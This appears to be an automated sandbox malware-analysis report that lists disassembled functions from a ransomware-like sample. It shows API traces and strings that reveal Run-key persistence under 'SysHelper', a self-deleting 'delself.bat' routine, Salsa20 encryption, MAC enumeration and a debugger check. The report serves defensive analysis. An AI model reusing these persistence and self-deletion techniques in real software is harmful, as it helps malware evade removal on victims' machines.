Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

DISPLAY, xrefs: 00482311
.\crypto\rand\rand_win.c, xrefs: 00482383

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00620000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

Address: %s, mac: %s, xrefs: 0040E72D
%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A
Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: 3662c7b498418dd0805699ed7e156d37d96e3abec8e0c242f5b97c865e313c7a
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: 3662c7b498418dd0805699ed7e156d37d96e3abec8e0c242f5b97c865e313c7a
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Uniqueness

Uniqueness Score: -1.00%

Function 00410160 Relevance: 26.2, APIs: 17, Instructions: 660COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000), ref: 00410346
_memmove.LIBCMT ref: 00410427
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0041048E
_memmove.LIBCMT ref: 00410514

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 5579d069003674f30fc20657d67551341dfb12f417424f211cabcd1385ef9a93
Instruction ID: 4d52a43d2e6eeb98f1fe08e229a92f838bd03635929547cf71b8ba18611ce854
Opcode Fuzzy Hash: 5579d069003674f30fc20657d67551341dfb12f417424f211cabcd1385ef9a93
Instruction Fuzzy Hash: EF429F70D00208DBDF14DFA4C985BDEB7F5BF04308F20456EE415A7291E7B9AA85CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266stringCOMMON

Download Yara Rule

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,?), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 8e7fd9746f064940cb66d6ef43538eded20f2cba022702fc4082d6d5591459cc
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: 8e7fd9746f064940cb66d6ef43538eded20f2cba022702fc4082d6d5591459cc
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 004382A2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

OCP, xrefs: 004382C4
ACP, xrefs: 004382B3

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Uniqueness

Uniqueness Score: -1.00%

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

input != nullptr && output != nullptr, xrefs: 0040C095
e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 00424168 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042419D
IsDebuggerPresent.KERNEL32(?,?,00000001), ref: 00424252

Strings

i;B, xrefs: 00424168

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: DebuggerPresent_memset
String ID: i;B
API String ID: 2328436684-472376889
Opcode ID: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction ID: b2deef9000060817df5d9888a0c5d5c31052404ed3c7d79a7a675bf972ea9145
Opcode Fuzzy Hash: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction Fuzzy Hash: 3231D57591122C9BCB21DF69D9887C9B7B8FF08310F5042EAE80CA6251EB349F858F59

Uniqueness

Uniqueness Score: -1.00%

Function 00411178 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 00411190
CryptReleaseContext.ADVAPI32(?,00000000), ref: 004111A0

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction ID: be51c898aa0ddf1eb2c7ddf255022cb250d4a78141f94ceb906d675081cd9b05
Opcode Fuzzy Hash: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction Fuzzy Hash: F0E0EC74F40305A7EF50DBB6AC49FABB6A86B08745F444526FB04F3251D62CD841C528

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA51 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EA69
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EA79

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction ID: d41dd3a2d1aa4a110fdd7d588524fe859ae41a35967fa473e5fd9fc866ad400b
Opcode Fuzzy Hash: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction Fuzzy Hash: B2E0EC78F002059BDF50DBB79C89F6B72A87B08744B440835F804F3285D63CD9118928

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC68 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EC80
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EC90

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction ID: 275dd0b1ae59d7aa5d1c23d1b64c6eee76a350be21334d4cde6f8a02617c5264
Opcode Fuzzy Hash: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction Fuzzy Hash: 97E0BDB4F0420597EF60DEB69E49F6B76A8AB04645B440835E904F2281DA3DD8218A29

Uniqueness

Uniqueness Score: -1.00%

Function 004329EC Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00424266,?,?,?,00000001), ref: 004329F1
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 004329FA

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 957f1cdd405d7a5f8fcfad9397a47528ed4c184e5d77963140c17adbcc220f91
Instruction ID: d7915fe9b98f2e2675b1eb18c11ae3c40c3bb41b36f5f7d781b256b54fe46c91
Opcode Fuzzy Hash: 957f1cdd405d7a5f8fcfad9397a47528ed4c184e5d77963140c17adbcc220f91
Instruction Fuzzy Hash: A7B09271044208ABDA802B93EC59F883F28EB04A62F084022F60D444628F6254508E99

Uniqueness

Uniqueness Score: -1.00%

Function 004329BB Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?,?,00431DA6,00431D5B), ref: 004329C1

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 1db6f696b6536d5221d2cbd00a2ff6cb8be2218350df980964d78d67e6efdd32
Instruction ID: cc44753b31e70f30ed06b04cde14f86973f8491ae5a0d649e7a5859f7922213d
Opcode Fuzzy Hash: 1db6f696b6536d5221d2cbd00a2ff6cb8be2218350df980964d78d67e6efdd32
Instruction Fuzzy Hash: 69A0113000020CAB8A002B83EC088883F2CEA002A0B088022F80C008228B22A8208E88

Uniqueness

Uniqueness Score: -1.00%

Function 004278D5 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00423FED,00507990,00000014), ref: 004278D5

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 993d631f5fa9c6d26d39642974962185f27c3e068b68c4f08d438ea8c169c0b8
Instruction ID: c175dc67e46cb5b18e7b8d473ad54adbb7c8ff58e9170129aa5670ed77b5f39c
Opcode Fuzzy Hash: 993d631f5fa9c6d26d39642974962185f27c3e068b68c4f08d438ea8c169c0b8
Instruction Fuzzy Hash: 79B012F0705102474B480B387C9804935D47708305300407DF00BC11A0EF70C860BA08

Uniqueness

Uniqueness Score: -1.00%

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

" goto try, xrefs: 00412666
"if exist ", xrefs: 00412648
D, xrefs: 00412720
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
delself.bat, xrefs: 0041261C
del ", xrefs: 00412674
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
TEMP, xrefs: 004125DF
@echo off:trydel ", xrefs: 0041262A

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Uniqueness

Uniqueness Score: -1.00%

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

, xrefs: 00463A90
-----BEGIN , xrefs: 004636A4
-----, xrefs: 004636D4, 00463A21
-----END , xrefs: 0046382F, 00463940, 004639E4
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Uniqueness

Uniqueness Score: -1.00%

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320windowCOMMON

Download Yara Rule

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: d87ae02ebb827c572a96defd0b94b563a2a13f3acd0a84997267fb9c98df2b66
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: d87ae02ebb827c572a96defd0b94b563a2a13f3acd0a84997267fb9c98df2b66
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00427B21 Relevance: 18.1, APIs: 12, Instructions: 84COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 00427B29
_free.LIBCMT ref: 00427B42

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

_free.LIBCMT ref: 00427B55
_free.LIBCMT ref: 00427B73
_free.LIBCMT ref: 00427B85
_free.LIBCMT ref: 00427B96
_free.LIBCMT ref: 00427BA1
_free.LIBCMT ref: 00427BC5
EncodePointer.KERNEL32(0062C6D8), ref: 00427BCC
_free.LIBCMT ref: 00427BE1
_free.LIBCMT ref: 00427BF7
_free.LIBCMT ref: 00427C1F

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID:
API String ID: 3064303923-0
Opcode ID: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction ID: d8036121d910c09816430481b6b6363fcbb95216f7cc64832fdbf6810ac9f003
Opcode Fuzzy Hash: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
